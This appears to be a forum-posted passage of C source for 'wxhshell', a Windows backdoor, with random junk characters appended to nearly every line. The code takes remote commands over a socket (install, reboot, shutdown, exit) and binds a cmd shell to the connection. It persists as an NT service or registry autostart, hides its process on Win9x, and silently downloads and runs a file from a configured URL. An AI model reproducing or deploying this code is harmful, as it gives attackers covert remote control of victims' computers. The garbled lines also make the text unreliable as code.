  }aXc,;Ps  
  // 帮助 &9PzBc  
  case '?': { xuO5|{h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N-jFA8n  
    break; a}`4BMi3  
  } UY j  
  // 安装 JI )+  
  case 'i': { 1 Y@6oT  
    if(Install()) .rSeJZzuj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~CldqXeI  
    else 2i', e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #^<7VS!x  
    break; h0 Acpd2  
    } nXK"BYe  
  // 卸载 5ejdf  
  case 'r': { *gHOH!K,S  
    if(Uninstall()) BMU~1[r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~FH''}3:3  
    else X55Eemg/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E& T9R2Y  
    break; *La*j3|:  
    } dGQxGt1  
  // 显示 wxhshell 所在路径 8^p/?R^bu  
  case 'p': { Kr=DoQ."d8  
    char svExeFile[MAX_PATH]; N:0/8jmmO  
    strcpy(svExeFile,"\n\r"); nk1(/~`  
      strcat(svExeFile,ExeFile); e{Om W  
        send(wsh,svExeFile,strlen(svExeFile),0); 82Nh;5T r  
    break; r$;DA<<|<c  
    } .qy._C2(  
  // 重启 w|>:mQnU  
  case 'b': { ?A(=%c|,g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g63:WX-\  
    if(Boot(REBOOT)) W2tIt&{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `>rdn*B  
    else { 9+@_ZI-  
    closesocket(wsh); u%5B_<90V  
    ExitThread(0); T#J]%IDd  
    } "KOLRJ@  
    break; ?YXl.yj  
    } Sl^HMO  
  // 关机 tNbCO+rZ  
  case 'd': { ^o!K0 t*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f|?i6.N> f  
    if(Boot(SHUTDOWN)) nfy"M),et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -}2q-  
    else { CeR4's7  
    closesocket(wsh); ZNFn^iuQ  
    ExitThread(0); \`{ YqOT  
    } >~TLgq*  
    break; BI;in;Ln  
    } ]. 1[H~5N  
  // 获取shell + R])u5c'  
  case 's': { 4xT(Uj  
    CmdShell(wsh); PQ@(p%   
    closesocket(wsh); [rU8%  
    ExitThread(0); Il'+^u_ <  
    break; /,2Em>  
  } iK(n'X5i  
  // 退出 |6`yE]3 -(  
  case 'x': { M=26@ n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ," :ADO-  
    CloseIt(wsh); eXnMS!g%Z  
    break; 2aW&d=!ZV  
    } S`K8e^]  
  // 离开 =B*,S#r  
  case 'q': { jFw?Ky2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M ,e_=aq  
    closesocket(wsh); 1P3^il7  
    WSACleanup(); DB:Ia5|*i  
    exit(1); i4'?/UPc  
    break; .2!'6;K  
        } /V46:`V  
  } O9=vz%  
  } 8NPt[*  
Z?G-~3]e  
  // 提示信息 ocAoqjlT[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +_06{7@h  
} B2 Tp;)  
  } 1A< O Z>  
z]=A3!H/Y  
  return; /0!6;PC<  
} (Pin9^`ALc  
"%<Oadz ap  
// shell模块句柄 6~&4>2b0f  
int CmdShell(SOCKET sock) d;:+Xd`  
{ b0tr)>d  
STARTUPINFO si; ;-n+=@]7  
ZeroMemory(&si,sizeof(si)); mxq'A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Q~ng2Wv%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n_)d4d zl  
PROCESS_INFORMATION ProcessInfo;  -"\z|OQ  
char cmdline[]="cmd"; bf'@sh%W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /AjGj*O  
  return 0; Q6RBZucv  
} /tJJ2 =%l  
Ca*^U-  
// 自身启动模式 #J, `a.  
int StartFromService(void) JdfjOlEb  
{ 9W 5vp:G  
typedef struct E{_p&FF  
{ G7M:LcX  
  DWORD ExitStatus; u(\b1h n  
  DWORD PebBaseAddress; . ?[2,4F;  
  DWORD AffinityMask; ^B1Q";# B^  
  DWORD BasePriority; +*DXzVC  
  ULONG UniqueProcessId; W _yVVr  
  ULONG InheritedFromUniqueProcessId; (VWTYG7  
}   PROCESS_BASIC_INFORMATION; + 3aAL&  
4rw<C07Z  
PROCNTQSIP NtQueryInformationProcess; ^WVH z;  
(4>k+ H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S3P;@Rm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zK}$W73W^  
!HY+6!hk  
  HANDLE             hProcess; 1$q SbQ  
  PROCESS_BASIC_INFORMATION pbi; x a7x 2]~-  
06]J]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kRTT ~  
  if(NULL == hInst ) return 0; Yr ,e7da  
SE;Jl[PgcL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z[FSy-;"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3O:Z;YP:<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UKZsq5Q  
)<UNiC   
  if (!NtQueryInformationProcess) return 0; c9=;:E  
p3\F1](Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e#0R9+"Ba  
  if(!hProcess) return 0; A>bo Xcr  
UCa(3p^V_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3!Gnc0%c  
n* 9)Y~  
  CloseHandle(hProcess); Ih{(d O;  
\6T&gX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V'mQ {[{R  
if(hProcess==NULL) return 0; C^2Tql  
\.POb5]p0  
HMODULE hMod; /U`"Xx  
char procName[255]; $eCxpb..  
unsigned long cbNeeded; 4Bd[r7  
*FQrmdwb]L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D+9xI  
f*0[[J0]  
  CloseHandle(hProcess); :;#^h]Q  
KWLI7fTgj$  
if(strstr(procName,"services")) return 1; // 以服务启动 Pn[-{nz  
T5=3 jPQ  
  return 0; // 注册表启动 2LiJ IO8N  
} NJI-8qTGI  
lOCMKaCD  
// 主模块 'hf#Q9W5  
int StartWxhshell(LPSTR lpCmdLine) <KoiZ{V   
{ MQG(n+c  
  SOCKET wsl; -L NJ*?b  
BOOL val=TRUE; ?.LS _e_0  
  int port=0; .Lr;{B  
  struct sockaddr_in door; x<>#G~-  
]L"jt8E  
  if(wscfg.ws_autoins) Install(); D2#3fM6  
&_x:+{06  
port=atoi(lpCmdLine); \3"4;fM!i  
}:])1!a  
if(port<=0) port=wscfg.ws_port; ;/XWX$G@  
Q;*TnVbJ  
  WSADATA data; S4n\<+dR<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `%ZM(9T  
2TXrVaM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y^M3m' d?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +4Aj/$%[q  
  door.sin_family = AF_INET; _s[ohMlh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u3a"[DB9c  
  door.sin_port = htons(port); ?xWO>#/  
': 87.8$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h#dp_#  
closesocket(wsl); *?zmo@-  
return 1; _K<H*R  
} j2#RO>`,I  
]u?|3y^ (  
  if(listen(wsl,2) == INVALID_SOCKET) {  _/;vsQB  
closesocket(wsl); =2F;'T\6  
return 1; zVKbM3(^  
} *P7 H=Yf&  
  Wxhshell(wsl); h64<F3}  
  WSACleanup(); !i,Eo-[Z  
vO`~rUA  
return 0; v-B{7 ~=#Z  
mSm:>hBd  
} 8oK*NB29  
r7+"i9  
// 以NT服务方式启动 F0t-b%w,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I<L  
{ Y``50{7  
DWORD   status = 0; 1xP*  
  DWORD   specificError = 0xfffffff; uD0T()J.P5  
e{EKM4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w j !YYBH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >x9@ if  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lD)ZMaaS3  
  serviceStatus.dwWin32ExitCode     = 0; Hb55RilC  
  serviceStatus.dwServiceSpecificExitCode = 0; D_]4]&QYT  
  serviceStatus.dwCheckPoint       = 0; -N $4\yp  
  serviceStatus.dwWaitHint       = 0; :[xFp}w{  
<'N"GLJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }$i Kz*nx|  
  if (hServiceStatusHandle==0) return; ? l/VCEZP  
[1nfSW  
status = GetLastError(); $ @g\wz  
  if (status!=NO_ERROR) He vZ}.  
{ a> qB k})  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (yA`h@@WS  
    serviceStatus.dwCheckPoint       = 0; v7gs $'Q  
    serviceStatus.dwWaitHint       = 0; o9\J vJk  
    serviceStatus.dwWin32ExitCode     = status; ?*cr|G$r[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Of0(.-Q w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x7J8z\b"O  
    return; ##!idcC  
  } N iw~0"-V  
"'U+T:S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +i^@QNOa  
  serviceStatus.dwCheckPoint       = 0; cZC%W!pT  
  serviceStatus.dwWaitHint       = 0; 5QN~^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3N c#6VI  
} "`g5iUHqUl  
xKl\:}Ytp  
// 处理NT服务事件,比如:启动、停止 .3>`yL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4FQB%3>*  
{ *Tc lc u  
switch(fdwControl) e_=TkG1E6  
{ 0RFBun{  
case SERVICE_CONTROL_STOP: $-Iui0h  
  serviceStatus.dwWin32ExitCode = 0; D8X~qt/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^G(U@-0..  
  serviceStatus.dwCheckPoint   = 0; =d`w~iC  
  serviceStatus.dwWaitHint     = 0; X'FDQoH  
  { ,/2&HZd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9`y@2/!Y  
  } M`  V<`  
  return; Rax]svc  
case SERVICE_CONTROL_PAUSE: {z#!3a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q~k5 }n8  
  break; BK 3oNDy  
case SERVICE_CONTROL_CONTINUE: ES,T[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w3Lr~_j  
  break; {,aX|*1Ku~  
case SERVICE_CONTROL_INTERROGATE: =$mPReA3v  
  break; EDAtC  
}; Op()`x m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g'cLc5\  
} %\"<lyD  
1 A%0y)]  
// 标准应用程序主函数 lT^/ 8Z<g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -.xiq0  
{ Mc,3j~i  
6 &Lr/J76  
// 获取操作系统版本 Ef @  
OsIsNt=GetOsVer(); A(eB\qG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PH.g+u=v  
H^ 'As;R  
  // 从命令行安装 n)|{tb^  
  if(strpbrk(lpCmdLine,"iI")) Install(); V82HO{ D  
S5o,\wT  
  // 下载执行文件 eWWqK9B.-  
if(wscfg.ws_downexe) { ] M`%@ps  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ylm # Xa  
  WinExec(wscfg.ws_filenam,SW_HIDE); -\<\OV:c*  
} CS'LW;#[  
U7#C.Z  
if(!OsIsNt) { Gr-~&pm  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,I6li7V  
HideProc(); ^XX_ qC'1  
StartWxhshell(lpCmdLine); :%_\!FvS  
} Gsn$r(m{K  
else p<[MU4  
  if(StartFromService()) ) >te|@}o  
  // 以服务方式启动 j)ME%17  
  StartServiceCtrlDispatcher(DispatchTable); JR_%v=n~x  
else !mZDukfjQ  
  // 普通方式启动 S86,m =  
  StartWxhshell(lpCmdLine); ?wP/l  
]!q>@b  
return 0; }7*|s+F(f  
}
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只看该作者 1 发表于: 2006-10-10
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